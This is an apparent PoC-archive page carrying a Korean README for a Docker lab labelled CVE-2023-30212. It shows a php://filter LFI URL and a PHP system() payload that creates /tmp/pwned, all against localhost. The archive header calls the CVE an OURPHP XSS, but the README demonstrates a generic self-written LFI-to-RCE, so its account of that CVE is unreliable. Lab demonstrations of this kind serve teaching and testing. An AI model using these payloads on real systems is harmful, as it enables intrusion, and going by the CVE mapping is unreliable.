关联漏洞
标题:
OURPHP 跨站脚本漏洞
(CVE-2023-30212)
描述:OURPHP是OURPHP开源的一个开源、跨平台、企业级+电商+小程序+APP多终端同步的CMS建站系统。 OURPHP 7.2.0版本及之前版本存在安全漏洞,该漏洞源于通过文件ourphp_out.php发现包含跨站脚本(XSS)漏洞。
描述
PoC for CVE-2023-30212 using Docker
介绍
# cve-2023-30212
PoC for CVE-2023-30212 using Docker
# CVE-2023-30212 환경 구축 및 PoC 보고서
## 📌 개요
이 보고서는 Vulhub에 없는 CVE-2023-30212 취약점을 대상으로 Docker 기반의 취약한 웹 환경을 직접 구성하고, PoC를 통해 해당 취약점을 입증한 내용을 담고 있습니다.
- **CVE 번호**: CVE-2023-30212
- **취약점 설명**: PHP LFI(Local File Inclusion)을 통한 원격 코드 실행 가능성
- **난이도**: 고급 (Vulhub에 없는 환경을 구성)
---
## 🔧 환경 구성
### 1. Dockerfile 및 docker-compose 구성
- Base image: `php:8.1-apache`
- `/var/www/html` 디렉터리에 `vulnerable.php`와 `malicious.php` 복사
- `8088` 포트로 외부 접속 가능
<img width="685" alt="도커빌드" src="https://github.com/user-attachments/assets/c13673c0-6ff3-4df5-81f0-ab89283b9544" />
### 2. 주요 파일 설명
| 파일명 | 설명 |
|-------------------|-------------------------------------|
| `vulnerable.php` | LFI 취약점이 존재하는 PHP 파일 |
| `malicious.php` | 시스템 명령을 실행하는 악성 PHP 파일 |
| `docker-compose.yml` | 컨테이너 구성을 위한 설정 파일 |
| `Dockerfile` | 도커 이미지 생성을 위한 설정 파일 |
<img width="491" alt="image" src="https://github.com/user-attachments/assets/5ae18494-a1a1-4c99-bafb-bc33a99bef7f" />
<img width="578" alt="image" src="https://github.com/user-attachments/assets/0c5f27de-e9f5-4910-b50f-1e0e26baca89" />
<img width="518" alt="image" src="https://github.com/user-attachments/assets/f05b71ab-1ecf-47ce-8365-7e40dcec2d61" />
<img width="512" alt="image" src="https://github.com/user-attachments/assets/064f5eb0-90b2-44e3-9d85-753b102b21d2" />
---
## 🚀 취약점 실행 흐름 (PoC)
### 1. 컨테이너 실행
```bash
docker-compose up -d
```
컨테이너 이름: cve-2023-30212-cve-lfi-1
Apache 서버가 실행되며 http://localhost:8088에서 접속 가능
2. LFI 기반 악성 파일 소스 확인
아래 URL을 호출하여 malicious.php의 내용을 base64로 인코딩된 형태로 확인합니다:
```bash
http://localhost:8088/vulnerable.php?file=php://filter/convert.base64-encode/resource=malicious.php
```
<img width="508" alt="base64" src="https://github.com/user-attachments/assets/d428e22f-0d05-4c16-94e5-299abf9eb319" />
출력 결과를 디코딩하면 아래 PHP 코드가 확인됩니다:
```php
<?php system("touch /tmp/pwned"); ?>
```
<img width="470" alt="image" src="https://github.com/user-attachments/assets/14cd4d88-bf72-4842-b886-e8a0cba0338c" />
3. 명령어 실행 및 결과 확인
아래 URL을 호출하여 실제로 명령어를 실행합니다:
```bash
http://localhost:8088/malicious.php
```
명령어 실행 후, /tmp/pwned 파일이 생성되어야 합니다.
```bash
docker exec -it cve-2023-30212-cve-lfi-1 ls /tmp
```
결과에 pwned 파일이 존재하면 성공입니다.
<img width="689" alt="pwned파일" src="https://github.com/user-attachments/assets/d2836c65-9a90-4728-91b9-5910ea6fea6c" />
## 결과 요약
php://filter 기반 LFI 취약점을 통해 악성 파일 내용 확인 및 디코딩 성공
system() 함수가 포함된 악성 PHP 호출을 통해 임의 명령어 실행 성공
/tmp/pwned 파일이 생성됨으로써 PoC 검증 완료
文件快照
[4.0K] /data/pocs/45ea94261aa7a4c33f8e465ec1a3853aab6b111f
├── [ 79] docker-compose.yaml
├── [ 230] Dockerfile
├── [ 10K] index.html
├── [ 37] malicious.php
├── [3.3K] README.md
└── [ 67] vulnerable.php
0 directories, 6 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。